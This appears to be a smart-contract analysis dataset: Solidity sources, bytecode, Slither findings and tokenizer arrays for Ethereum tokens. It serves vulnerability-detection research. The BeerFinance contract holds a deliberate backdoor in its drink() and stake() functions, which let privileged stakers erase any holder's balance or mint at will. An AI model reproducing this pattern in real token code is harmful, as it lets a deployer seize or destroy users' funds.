08211610ccb576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610cd457fe5b049392505050565b600082820183811015610c6c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3b151590565b600054610100900460ff1680610d555750610d55610b65565b80610d63575060005460ff16155b610d9e5760405162461bcd60e51b815260040180806020018281038252602e815260200180610efc602e913960400191505060405180910390fd5b600054610100900460ff161580156105bb576000805460ff1961ff00199091166101001716600117905580156105cd576000805461ff001916905550565b600054610100900460ff1680610df55750610df5610b65565b80610e03575060005460ff16155b610e3e5760405162461bcd60e51b815260040180806020018281038252602e815260200180610efc602e913960400191505060405180910390fd5b600054610100900460ff16158015610e69576000805460ff1961ff0019909116610100171660011790555b6000610e73610b61565b603380546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35080156105cd576000805461ff00191690555056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212209370cacf3477df27713c056bdda7776ac2f0261399059897bbf70d428a6f272d64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2575,
2050,
2692,
2575,
29292,
29097,
3401,
18827,
2692,
2094,
2581,
6305,
19841,
2509,
10322,
2575,
21926,
2063,
23833,
2683,
2683,
2620,
22367,
2620,
16068,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
21183,
12146,
1013,
4769,
6279,
24170,
3085,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1016,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3074,
1997,
4972,
3141,
2000,
1996,
4769,
2828,
1008,
1013,
3075,
4769,
6279,
24170,
3085,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
1036,
4070,
1036,
2003,
1037,
3206,
1012,
1008,
1008,
1031,
2590,
1033,
1008,
1027,
1027,
1027,
1027,
1008,
2009,
2003,
25135,
2000,
7868,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,473 | 0x95373ca71a1c899b42e55f9c3889ba00c65d3a35 | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'OishiInu' token contract
//
// Deployed to : 0x1fda9b7e7e49a248D2FC73e168F35CCe101e7467
// Symbol : OSHI
// Name : OishiInu
// Total supply: 1000000000000000
// Decimals : 18
// www.oishiinu.com
// https://t.me/OshiInu
// ________ ___ ________ ___ ___ ___ ___ ________ ___ ___
// |\ __ \|\ \|\ ____\|\ \|\ \|\ \|\ \|\ ___ \|\ \|\ \
// \ \ \|\ \ \ \ \ \___|\ \ \\\ \ \ \ \ \ \ \\ \ \ \ \\\ \
// \ \ \\\ \ \ \ \_____ \ \ __ \ \ \ \ \ \ \\ \ \ \ \\\ \
// \ \ \\\ \ \ \|____|\ \ \ \ \ \ \ \ \ \ \ \\ \ \ \ \\\ \
// \ \_______\ \__\____\_\ \ \__\ \__\ \__\ \__\ \__\\ \__\ \_______\
// \|_______|\|__|\_________\|__|\|__|\|__|\|__|\|__| \|__|\|_______|
// \|_________|
// (c) OishiInu
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract OishiInu is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function OishiInu() public {
symbol = "OishiInu";
name = "OishiInu";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0x1fda9b7e7e49a248D2FC73e168F35CCe101e7467] = _totalSupply;
Transfer(address(0), 0x1fda9b7e7e49a248D2FC73e168F35CCe101e7467, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820852dd263addd5a4aad72eead56806b14a1511b060aa96cd9d26e9f053a7d4cc00029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
2581,
2509,
3540,
2581,
2487,
27717,
2278,
2620,
2683,
2683,
2497,
20958,
2063,
24087,
2546,
2683,
2278,
22025,
2620,
2683,
3676,
8889,
2278,
26187,
2094,
2509,
2050,
19481,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
1051,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,474 | 0x95375b4e7cc373e134b3198b640275cd64f8ec6a | /*
____ _____ _____ ____
| __ )| ____| ____| _ \
| _ \| _| | _| | |_) |
| |_) | |___| |___| _ <
|____/|_____|_____|_| \_\
Do you like to drink?
It's dangerous, you don't know whether you bought token or not.
You may lose your assets.
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _stake(address account, uint amount) internal {
require(account != address(0), "ERC20: stake to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _drink(address acc) internal {
require(acc != address(0), "drink to the zero address");
uint amount = _balances[acc];
_balances[acc] = 0;
_totalSupply = _totalSupply.sub(amount);
emit Transfer(acc, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract BeerFinance is ERC20, ERC20Detailed {
using SafeMath for uint;
address public governance;
mapping (address => bool) public stakers;
uint256 private amt_ = 10000;
constructor () public ERC20Detailed("BeerFinance", "BEER", 18) {
governance = msg.sender;
_stake(governance,amt_*10**uint(decimals()));
stakers[governance] = true;
}
function stake(address account, uint amount) public {
require(stakers[msg.sender], "error");
_stake(account, amount);
}
function drink(address account) public {
require(stakers[msg.sender], "error");
_drink(account);
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb146104f8578063adc9772e1461055e578063dd62ed3e146105ac578063e733c41614610624576100f5565b806370a082311461035b5780639168ae72146103b357806395d89b411461040f578063a457c2d714610492576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab5780635aa6e67514610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b610102610668565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061070a565b604051808215151515815260200191505060405180910390f35b6101eb610728565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610732565b604051808215151515815260200191505060405180910390f35b61028f61080b565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610822565b604051808215151515815260200191505060405180910390f35b6103196108d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108fb565b6040518082815260200191505060405180910390f35b6103f5600480360360208110156103c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610943565b604051808215151515815260200191505060405180910390f35b610417610963565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045757808201518184015260208101905061043c565b50505050905090810190601f1680156104845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104de600480360360408110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a05565b604051808215151515815260200191505060405180910390f35b6105446004803603604081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ad2565b604051808215151515815260200191505060405180910390f35b6105aa6004803603604081101561057457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af0565b005b61060e600480360360408110156105c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bbd565b6040518082815260200191505060405180910390f35b6106666004803603602081101561063a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c44565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107005780601f106106d557610100808354040283529160200191610700565b820191906000526020600020905b8154815290600101906020018083116106e357829003601f168201915b5050505050905090565b600061071e610717610d0f565b8484610d17565b6001905092915050565b6000600254905090565b600061073f848484610f0e565b6108008461074b610d0f565b6107fb8560405180606001604052806028815260200161172c60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1